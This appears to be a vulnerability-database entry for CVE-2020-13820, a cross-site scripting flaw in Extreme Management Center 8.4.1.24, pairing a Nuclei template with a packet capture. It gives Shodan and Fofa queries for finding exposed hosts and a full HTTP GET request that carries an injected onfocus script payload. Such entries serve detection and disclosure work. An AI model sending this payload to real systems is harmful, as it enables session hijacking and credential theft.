| Title | Extreme Management Center 8.4.1.24 - Cross-Site Scripting |
|---|---|
| Author | tess |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center. |
| CVSS Score | 6.1 |
| EPSS Score | 0.17063 |
| CVE ID | CVE-2020-13820 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Extreme Management Center"http.title:"extreme management center" |
| Fofa Query | title="extreme management center" |
| Tags | cve2020 cve xss extremenetworks vuln |
Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13820.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13820.pcap
N/AN/A